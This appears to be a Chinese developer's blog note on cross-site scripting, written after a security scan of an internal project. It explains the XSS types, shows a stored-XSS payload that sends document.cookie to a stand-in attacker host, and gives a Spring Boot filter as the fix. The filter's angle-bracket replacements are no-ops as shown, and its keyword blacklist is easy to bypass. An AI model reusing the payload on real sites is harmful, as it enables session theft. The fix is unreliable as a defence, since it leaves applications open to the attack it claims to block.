最近做的部門內部用的一個小項目要上線,上線前安全測試測出了存儲型XSS漏洞,自己也通過這個機會學習了一下,在此記錄
1、什麼是XSS
XSS的中文含義是跨站腳本攻擊,Cross Site Scripting,縮寫爲CSS,但容易與層疊樣式表的縮寫混淆,所以有人將其縮寫爲XSS
2、XSS原理
html是超文本標記語言,通過一些字符特殊對待來區分文本和標記,例如:<被看作html標籤的開始,>被看作html標籤的結束,那麼<title>與</title>之間的內容就會被看作是標題。如果動態頁面中插入的內容包含這些特殊字符(如:<等),用戶瀏覽器就會將其誤認爲是html標籤,如果被認爲是html標籤的內容中引入了一些js腳本,那麼這些腳本就會在用戶瀏覽器中執行,所以當這些特殊字符不能被動態界面檢查或識別的時候,就會出現XSS漏洞。
3、XSS危害
1、竊取管理員帳號或Cookie,入侵者可以冒充管理員的身份登錄後臺。使得入侵者具有惡意操縱後臺數據的能力,包括讀取、更改、添加、刪除一些信息。
2、竊取用戶的個人信息或者登錄帳號,對網站的用戶安全產生巨大的威脅。例如冒充用戶身份進行各種操作。
3、網站掛馬。先將惡意攻擊代碼嵌入到Web應用程序之中。當用戶瀏覽該掛馬頁面時,用戶的計算機會被植入木馬。
4、發送廣告或者垃圾信息。攻擊者可以利用XSS漏洞植入廣告,或者發送垃圾信息,嚴重影響到用戶的正常使用。
4、XSS分類
反射型XSS:攻擊者通過向某URL中追加非法腳本(非法腳本其實就是通過非法字符構成的腳本)的方式,使得用戶在訪問此URL的時候會執行腳本內容,使得攻擊者竊取到想要的數據。因爲反射型XSS不會永久存儲數據,只發生在用戶一次訪問過程中,所以有時也被叫做“非持久型XSS”
例如:在url中追加<script>alert('你被攻擊了!')</script>,那麼用戶在訪問url的時候就會彈出'你被攻擊了!',這只是很簡單的模擬場景,真實攻擊的時候並不會這麼簡單,而是在腳本中抓取用戶數據等,造成信息泄露。
個人理解的反射型XSS流程圖
存儲型XSS:
也叫“持久型XSS”,攻擊者通過頁面中的輸入信息輸入非法字符,並通過瀏覽器傳送到服務器,以數據形式永久存儲至數據庫中,用戶每次訪問此數據都會觸發非法腳本,造成持久性的危害。
例如:在web平臺中添加信息時,將信息的備註屬性設置爲
<a id='attacker'>點擊就送百元現金</a>
<script>
document.getElementById('attacker').href=
'http://www.attacker_741.com/receiveCookies.html?'+document.cookie;
</script>
之後點擊添加,這段腳本就會作爲備註存入至數據庫中,之後每次訪問相關的信息時,都會帶着cookie信息跳轉,造成持久性的攻擊
存儲型XSS流程與反射型XSS一樣,區別在於存儲型XSS會將非法腳本存入數據庫,構成更加持久的危害。
DOM型XSS:
小白表示很迷.........
借鑑:DOM XSS是基於在js上的。而且他不需要與服務端進行交互,像反射、儲蓄都需要服務端的反饋來構造xss,因爲服務端對我們是不可見的
5、存儲型XSS攻擊Java解決方案
我的項目被掃出的只有存儲型XSS漏洞,所以我只做了存儲型XSS的漏洞修復,其他的後期遇到會補充進來。
我在網上看了挺多修復的方式,可以前端通過正則驗證非法字符,也可以後端通過過濾器處理HttpRequest中的特殊字符,我是後端,對於改前端多少有些排斥,所以選擇了配置過濾器的方式才進行漏洞修復。Springboot項目中代碼如下:
package com.web.filter;
import com.web.interceptor.XSSInterceptor;
import org.springframework.stereotype.Component;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* @author Peacock_
* @version 1.0
* @date 2019/12/25 14:47
* 用於避免存儲型XSS漏洞
*/
@Component
public class XSSFilter implements Filter {
FilterConfig filterConfig = null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
filterChain.doFilter(new XSSInterceptor( (HttpServletRequest) servletRequest), servletResponse);
}
@Override
public void destroy() {
this.filterConfig = null;
}
}
package com.web.interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
/**
* @author Peacock_
* @version 1.0
* @date 2019/12/25 14:51
* 用於處理特殊字符
*/
public class XSSInterceptor extends HttpServletRequestWrapper {
public XSSInterceptor(HttpServletRequest request) {
super(request);
}
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values==null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return cleanXSS(value);
}
/**過濾規則
* 1、"script"替換爲""
* 2、"<"替換爲"<"
* 3、">"替換爲">"
* 4、"iframe"替換爲""
* @param value
* @return
*/
private String cleanXSS(String value) {
value = value.replaceAll("<", "<").replaceAll(">", ">");
value = value.replaceAll("script", " ");
value = value.replaceAll("iframe", " ");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
return value;
}
}